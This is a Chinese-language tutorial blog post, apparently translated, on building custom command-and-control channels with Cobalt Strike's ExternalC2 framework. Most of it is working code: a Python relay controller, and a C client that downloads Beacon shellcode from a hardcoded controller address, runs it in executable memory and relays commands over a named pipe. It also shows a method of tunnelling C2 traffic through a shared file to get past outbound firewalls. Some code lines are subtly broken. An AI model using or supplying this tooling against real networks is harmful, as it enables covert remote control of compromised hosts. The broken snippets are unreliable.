探索Cobalt Strike的ExternalC2框架

前言

熟悉CobaltStrike的人都知道,实现C2通信的时候会有很多问题,比如通信的出口有防火墙拦截,进程的限制,所以shell权限的维持是个很大的问题,http通道也是一样。
我想试着通过其它方法实现C2通信,所以我了解到了External C2 框架。

External

External C2 是Cobalt Strike引入的一个框架,让我们可以自己构造 HTTP(s)/ DNS/SMB C2通信通道。完整的文档可以在这里下载。

用户可以自己开发自己的C2通信通道:

  • 第三方控制器 :负责创建与Cobalt Strike TeamServer的连接,并使用自定义C2通道与目标主机上的第三方客户端进行通信。
  • 第三方客户端 :负责使用自定义C2通道与第三方控制器通信,并将命令中继到SMB Beacon。
    SMB Beacon - 将在受害主机上执行的标准的Becon。
    借用CS官方文档中的图,我们可以看到这几者之间是如何组合在一起的:

我们自定义的C2通道在第三方控制器和第三方客户端之间传输,Client和Control我们都可以自己构造。

在开始搞事情之前,先了解一下Teamserver是怎么和External C2 通信。

首先,我们要跟cs说我们要启动External C2,这是通过externalc2_start函数和传递端口来完成的脚本的开发。一旦ExternalC2服务启动并运行,我们需要使用自定义协议进行通信。

协议实际上非常简单,包括一个4字节的小端长度字段和一个数据块,例如:

开始通信的时候,我们的Client会与Teamserver进行连接,发送一些选项:

  • arch:要使用的Beacon的体系结构
  • pipename:用于与Beacon通信的通道名称
  • block:Teamserver将在任务之间阻塞的时间(毫秒为单位)

选项发送以后,第三方控制端发送go命令,即是启动External C2通信,发送Beacon,然后,第三方控制端将SMB Beacon的payload中继到第三方客户端,与第三方客户端产生SMB Beacon。

一旦在受害主机上生成SMB Beacon,我们需要建立连接以启用命令传递。这是通过命名管道完成的,第三方客户端和SMB Beacon之间使用的协议与第三方客户端和第三方控制器之间的协议完全相同…一个4字节的小端长度字段,和尾随的数据。

好的,理论讲完了,让我们创建一个Hello World示例来简单地通过网络中继通信。

Hello World ExternalC2示例

在这个例子中,我是用python作为第三方控制器,C作为第三方控制端。

首先,启动ExternalC2:

1
2
# start the External C2 server and bind to 0.0.0.0:2222
externalc2_start("0.0.0.0", 2222);

在0.0.0.0:2222打开External C2
现在ExternalC2已启动并运行,我们可以创建第三方控制器。

首先建立与TeamServer ExternalC2接口的连接:

1
2
_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketTS.connect(("127.0.0.1", 2222))

一旦建立之后,我们需要发送我们的选项。我会创建一些快速辅助函数,以允许我们为4字节长度添加前缀,这样就不用每次手动地去写:

1
2
3
4
5
def encodeFrame(data):
return struct.pack("<I", len(data)) + data

def sendToTS(data):
_socketTS.sendall(encodeFrame(data))

现在我们可以使用这些辅助函数来发送我们的选项:

1
2
3
4
5
# Send out config options
sendToTS("arch=x86")
sendToTS(“pipename=xpntest")
sendToTS("block=500")
sendToTS("go")

现在Cobalt Strike知道我们想要一个x86 SMB Beacon,我们需要接收数据。让我们再创建一些辅助函数来处理数据包的解码,而不是每次手动地去解码:

1
2
3
4
5
6
7
8
9
10
11
12
def decodeFrame(data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)

def recvFromTS():
data = ""
_len = _socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketTS.recv(l - len(data))
return data

我们通过以下方式接收原始数据:

1
data = recvFromTS()

我的示例在这里下载:
https://gist.github.com/xpn/bb82f2ca4c8e9866c12c54baeb64d771

现在我们有一个工作控制器,我们需要创建我们的第三方客户端。为了使其变得更容易,我们将使用win32和C来实现,使我们能够访问Windows本机API。让我们从几个辅助函数开始。首先,我们需要连接到第三方控制器。在这里,我们将简单地使用WinSock2建立到控制器的TCP连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));

return sd;
}

接下来,我们需要一种接收数据的方法。这与我们在Python代码中看到的类似,我们的长度前缀用来指明我们接收的数据字节数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;

*len = 0;

recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);

if (buffer == NULL)
return NULL;

while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}

类似地,我们需要一种通过C2通道将数据返回到Controller的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/ Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL):
return;

DWORD bytesWritten = 0, totalLen = 0;

*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);

while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}

现在我们可以与Controller通信,我们要做的第一件事就是接收Beacon发来的payload。这是原始的x86或x64 payload(取决于第三方控制器传递给Cobalt Strike的选项是啥),并且在执行之前会被复制到内存中。
例如,我们抓取Beacon Payload:

1
2
3
// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);

然后为了本演示的目的,我们将使用Win32 VirtualAlloc函数来分配可执行的内存范围,CreateThread执行代码:

1
2
3
4
5
6
7
8
9
HANDLE threadHandle;
DWORD threadId = 0;

char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
return;

memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);

SMB Beacon启动并运行后,我们需要连接到它的命名管道。为此,我们将反复尝试连接到我们的\\.\pipe\xpntest管道(记住哦,这个pipename早先作为选项传递,并由SMB Beacon用于接收命令):

1
2
3
4
5
6
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

然后,一旦我们建立了连接,我们就可以继续使用send/recv循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}

就是这样,我们讲解了ExternalC2服务的基础知识。可在此处找到第三方客户端的完整代码。
https://gist.github.com/xpn/08cf7001780020bb60c5c773cec5f839

现在,做一些更有趣的事情。

将C2转移到文件中

让我们回顾一下在尝试创建自定义C2协议时我们Client的内容:

从这里,我们可以看到第三方控制器和第三方客户端之间的数据传输是比较有意思的地方。以我们之前的“Hello World”示例为例,让我们尝试将其移植到更有趣的地方,通过文件读/写传输数据。

我们为什么要这样做?好吧,假设我们处于Windows域环境中,而且机器只有有限的出站访问权限。然而,有一件事是允许访问文件共享…:)
通过将C2数据从访问我们C2服务器的机器写入共享文件,并从具有防火墙的机器中读取数据,我们有办法运行我们的Cobalt Strike Beacon。

我们再看一下:

在这里,我们实际上引入了一个额外的元素,它基本上负责数据隧道的传入和传出文件,并与第三方控制器进行通信。

同样,出于本示例的目的,我们在第三方控制器和internet连接的主机之间的通信将使用熟悉的4字节长度前缀协议,因此没有理由去修改我们现有的Python第三方控制器。

但是,我们将把我们以前的第三方客户分成两部分。一个负责在Internet连接的主机上运行,从第三方控制器接收数据并将其写入文件。第二个,从受限主机运行,从文件中读取数据,生成SMB Beacon,并将数据传递给此Beacon。

我不会回顾上面提到的元素,但我将展示一种可以实现文件传输的方法。

首先,我们需要创建我们将要进行通信的文件。为此,我们将使用CreateFileA,但是我们必须确保提供FILE_SHARE_READFILE_SHARE_WRITE选项。这将允许第三方客户端双方同时读取和写入文件:

1
2
3
4
5
6
7
8
HANDLE openC2FileServer(const char *filepath) {
HANDLE handle;

handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle == INVALID_HANDLE_VALUE)
printf("Error opening file: %x\n", GetLastError());
return handle;
}

接下来,我们需要一种方法将C2数据序列化到文件中,以及指示两个客户端中的哪一个应该随时处理数据。

为此,可以使用简单的标题,例如:

1
2
3
4
struct file_c2_header {
DWORD id;
DWORD len;
};

我们的想法是,我们只是简单地对该id字段进行轮询,该字段向每个第三方客户发出信号,告知谁应该读取以及谁写入数据。

将我们的文件读写助手放在一起,像这样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {
char *fileBytes = NULL;
DWORD bytesWritten = 0;

fileBytes = (char *)malloc(8 + len);
if (fileBytes == NULL)
return;

// Add our file header
*(DWORD *)fileBytes = id;
*(DWORD *)(fileBytes+4) = len;

memcpy(fileBytes + 8, data, len);

// Make sure we are at the beginning of the file
SetFilePointer(c2File, 0, 0, FILE_BEGIN);

// Write our C2 data in
WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL);

printf("[*] Wrote %d bytes\n", bytesWritten);
}

char *readC2File(HANDLE c2File, DWORD *len, int expect) {
char header[8];
DWORD bytesRead = 0;
char *fileBytes = NULL;

memset(header, 0xFF, sizeof(header));

// Poll until we have our expected id in the header
while (*(DWORD *)header != expect) {
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
ReadFile(c2File, header, 8, &bytesRead, NULL);
Sleep(100);
}

// Read out the expected length from the header
*len = *(DWORD *)(header + 4);
fileBytes = (char *)malloc(*len);
if (fileBytes == NULL)
return NULL;

// Finally, read out our C2 data
ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);
printf("[*] Read %d bytes\n", bytesRead);
return fileBytes;
}

在这里,我们看到我们将标题添加到文件中,并分别将C2数据读/写到文件中。

这就是它的全部内容。剩下要做的就是实现我们的recv/write/read/send循环,我们在文件传输中运行C2。

可以在此处找到上述第三方控制器的完整代码。

操作视频前往油管观看。
https://youtu.be/ckm7AHkYnVU

如果您有兴趣了解有关ExternalC2的更多信息,你可以在Cobalt Strike ExternalC2帮助页面上找到许多有用的资源,https://www.cobaltstrike.com/help-externalc2。

其实呢,博客有很多资源的,自己去整理吧。

原文链接

打赏wing!